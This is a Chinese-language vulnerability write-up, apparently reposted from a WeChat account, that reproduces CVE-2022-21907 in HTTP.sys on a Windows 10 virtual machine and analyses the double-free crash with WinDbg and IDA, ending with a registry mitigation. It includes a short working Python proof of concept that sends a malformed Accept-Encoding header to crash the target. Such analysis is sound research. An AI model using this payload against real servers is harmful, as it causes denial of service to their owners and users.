Windows CVE-2022-21907复现及分析

渗透技巧 2年前 (2022) admin
1,528 0 0
Windows CVE-2022-21907复现及分析

前言




  • 测试环境:Windows 10

  • Windows版本:cn_windows_10_consumer_editions_version_2004_updated_sep_2020_x64_dvd_049d70ee.iso


CVE-2022-21907




此次CVE的漏洞是由于HTTP.sys的缓冲区溢出从而导致的拒绝服务,蓝屏重启。

微软官方在第一时间修复此漏洞,据微软官方公布的此次漏洞影响范围:

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 21H2 for ARM64-based Systems

Windows 10 Version 21H2 for 32-bit Systems

Windows 11 for ARM64-based Systems

Windows 11 for x64-based Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server 2022 (Server Core installation)

Windows Server 2022

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 21H2 for x64-based Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

首先我们使用虚拟机安装Windows 10的镜像创建一个虚拟机,进入到系统之后,在搜索框搜索控制面板,在程序与功能中,打开Windows自带的IIS WEB服务,然后在本地输入127.0.0.1看看是否启动成功。

Windows CVE-2022-21907复现及分析

接下来在cmd中输入以下 ipconfig 查看一下本机的ip地址(注:虚拟机中的Windows的防火墙必须关闭,不然在物理机中是无法访问到虚拟机中的server)

Windows CVE-2022-21907复现及分析

在物理机的浏览器中输入此ip地址访问,测试是否能够链接到虚拟机中的server

Windows CVE-2022-21907复现及分析

访问成功,接下来咱们就是去验证一下这个漏洞。

POC:

#!/usr/bin/python# CVE-2022-21907import requests
print("CVE-2022-21907验证程序 Start....")host = input("请输入您的主机地址:")# The PoC :poc = requests.get(f'http://{host}/', headers = {'Accept-Encoding': 'a, b, c, ,'})

poc验证成功,靶机蓝屏重启。



验证视频





动静态分析



这里我们使用windbg进行内核调试,使用windbg连接上测试虚拟机,接下来使用POC对目标机器进行攻击

Windows CVE-2022-21907复现及分析

可以看到发生错误的位置,使用kp查看当前堆栈指针情况,可以看到发生问题的原因是处理AcceptEncoding的头时,触发UlFreeUnknownCodingList而造成了堆栈的问题

接下来使用!analyze进行自动化的分析

Windows CVE-2022-21907复现及分析


可以看到是由于LIST_ENTRY的Double Free而造成的蓝屏,并且可以看到造成问题的程序是HTTP.sys,那么接下来我们使用IDA来进行静态分析,目标程序所在的路径为C:WindowsSystem32driver

Windows CVE-2022-21907复现及分析

通过追踪到堆栈指针情况,直接搜索UlpParseAcceptEncoding函数,即可跳转到造成Double Free的位置

Windows CVE-2022-21907复现及分析

通过分析,可以知道发生错误的原因是UlpParseContentCoding,其中函数有一个变量LIST_ENTRY并对将数据附加到其中。当处理完毕则会将其移动到Request结构中,但是并未将其置空,那么这样则会触发Double Free造成蓝屏

Windows CVE-2022-21907复现及分析
Windows CVE-2022-21907复现及分析
Windows CVE-2022-21907复现及分析


Windows CVE-2022-21907复现及分析

修补措施

Windows CVE-2022-21907复现及分析


默认情况下,Windows Server 2019 和 Windows 10 版本 1809不易受到攻击。除非您已通过EnableTrailerSupport注册表值启用 HTTP Trailer Support,否则系统不会受到攻击。

删除 DWORD 注册表值“EnableTrailerSupport”(如果存在于以下位置):

HKEY_LOCAL_MACHINESystemCurrentControlSetServicesHTTPParameters

此缓解仅适用于 Windows Server 2019 和 Windows 10 版本 1809,不适用于 Windows 20H2 和更高版本。‍


END

Windows CVE-2022-21907复现及分析


Windows CVE-2022-21907复现及分析

原文始发于微信公众号(信睿网络):Windows CVE-2022-21907复现及分析

版权声明:admin 发表于 2022年2月8日 上午3:14。
转载请注明:Windows CVE-2022-21907复现及分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...